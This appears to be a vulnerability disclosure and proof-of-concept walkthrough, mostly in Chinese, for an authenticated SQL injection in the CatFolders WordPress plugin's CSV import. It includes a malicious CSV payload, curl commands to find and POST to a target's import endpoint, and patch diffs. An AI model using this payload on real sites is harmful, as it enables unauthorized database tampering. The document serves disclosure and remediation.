
CVE-2025-9776 — CatFolders WordPress Plugin: Authenticated SQL Injection via CSV Import | POC + Walkthrough
关键词: CVE-2025-9776, CatFolders WordPress 漏洞, SQL 注入 WordPress, 认证 SQL 注入, WordPress 安全, CSV 导入漏洞, WordPress 插件利用, CWE-89, WordPress 数据库攻击, 媒体库漏洞, WordPress CVE 2025
在 CatFolders WordPress 插件中发现了一个经过认证的 SQL 注入漏洞,允许具有作者(Author)级别权限的用户通过恶意 CSV 导入操纵数据库查询。
发现者: Kai Aizen (SnailSploit)
发布时间: 2025
CVSS 评分: 6.5(中危)
CWE: CWE-89 – SQL 注入
CatFolders – Tame Your WordPress Media Library by Category 在其 CSV 导入功能中存在一个经过认证的 SQL 注入漏洞。用户提供的 CSV 中的 attachments 列被拆分为列表,并直接传递给 FolderModel::set_attachments(),该方法将这些值未经适当清理或参数化地拼接成原始的 SQL IN (...) 子句。
此漏洞允许拥有作者(Author)级别权限的经过认证的攻击者:
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L
该漏洞存在于 CSV 导入工作流中:
文件: includes/Rest/Controllers/ImportController.php
import_csv 方法解析上传的 CSV,未对每个字段进行清理restore_folders() 调用:FolderModel::set_attachments(
$new_folder['id'],
explode(',', $folder['attachments']),
false
);
文件: includes/Models/FolderModel.php
set_attachments() 使用字符串拼接构建原始 SQL:'raw' => 'post_id IN (' . $attachmentIds . ')'
具有作者(Author)级别权限(upload_files 能力)的攻击者可以通过 CSV 导入端点注入恶意 SQL:
恶意 CSV 载荷:
id,name,attachments
1,Test Folder,"1) OR 1=1--"
产生漏洞的查询:
SELECT folder_id FROM wp_catf_folder_posts
WHERE post_id IN (1) OR 1=1--)
这突破了 IN(...) 子句并改变了查询语义,可能影响所有行。
curl -s https://target.site/wp-json | jq -r '.routes | keys[]' | grep '/import-csv$'
典型结果:/catf/v1/import-csv
创建名为 catf_inject.csv 的文件:
id,name,attachments
1,Malicious Folder,"1) OR 1=1--"
NS="/catf/v1" # 替换为发现的命名空间
curl -i \
-u 'author_user:APPLICATION_PASSWORD' \
-F "file=@catf_inject.csv;type=text/csv" \
-X POST "https://target.site/wp-json${NS}/import-csv"
预期响应:
{ "success": true }
服务器构建并执行:
SELECT folder_id FROM wp_catf_folder_posts WHERE post_id IN (1) OR 1=1--)
这可能执行比预期更广泛的 DELETE/INSERT 操作,通常会导致整个数据库中的文件夹-附件关系被清除。
运行独立的 SQLite 模拟以安全地观察漏洞:
python3 poc/catfolders_sql_poc.py
该脚本会打印易受攻击的查询,并演示恶意令牌如何返回所有行,而参数化版本则会正确拒绝。
立即采取的措施:
两个最低限度的加固步骤:
- FolderModel::set_attachments( $new_folder['id'], explode(',', $folder['attachments']), false );
+ $ids = array_filter( array_map( 'intval', explode(',', $folder['attachments']) ) );
+ if ( ! empty( $ids ) ) {
+ FolderModel::set_attachments( (int) $new_folder['id'], $ids, false );
+ }
set_attachments() 内部强制使用整数 $imgIds = apply_filters( 'catf_attachment_ids_to_folder', $imgIds );
+ $imgIds = array_values( array_filter( array_map( 'intval', (array) $imgIds ) ) );
将所有原始 SQL 拼接替换为使用 WordPress 的 $wpdb->prepare() 的参数化查询:
$placeholders = implode(',', array_fill(0, count($imgIds), '%d'));
$query = $wpdb->prepare(
"SELECT folder_id FROM {$wpdb->prefix}catf_folder_posts WHERE post_id IN ($placeholders)",
...$imgIds
);
此外:
完整的补丁可在 patch/catfolders_fix.patch 中找到
CVE-2025-9776/
├── README.md # 本文件
├── poc/
│ ├── catf_inject.csv # 恶意 CSV 载荷
│ └── catfolders_sql_poc.py # 安全 SQLite 模拟
└── patch/
└── catfolders_fix.patch # 推荐修复
研究者: Kai Aizen (SnailSploit)
披露流程: 通过 Wordfence 漏洞赏金计划协调
⚠️ 重要免责声明
本利用证明仅供防御性研究和教育目的。
未经授权访问计算机系统是违法的,适用的法律包括:
使用风险自负。研究人员和 SnailSploit 对滥用此信息不承担任何责任。
关于此漏洞的问题或更多信息:
保持安全,及时更新您的 WordPress 安装!
最后更新:2025 年 10 月 13 日
本项目的完整文章、方法论及相关研究位于:
https://snailsploit.com/security-research/cves/cve-2025-9776/
由 Kai Aizen 创建——独立进攻性安全研究员。
snailsploit.com · 研究 · 框架 · GitHub · LinkedIn · ResearchGate · X/Twitter
相同的攻击。不同的基质。
| 指标 | 值 |
|---|
| 攻击向量 | 网络 (AV:N) |
| 攻击复杂性 | 低 (AC:L) |
| 所需权限 | 低 (PR:L) - 作者+ |
| 用户交互 | 无 (UI:N) |
| 影响范围 | 未改变 (S:U) |
| 机密性 | 无 (C:N) |
| 完整性 | 低 (I:L) |
| 可用性 | 低 (A:L) |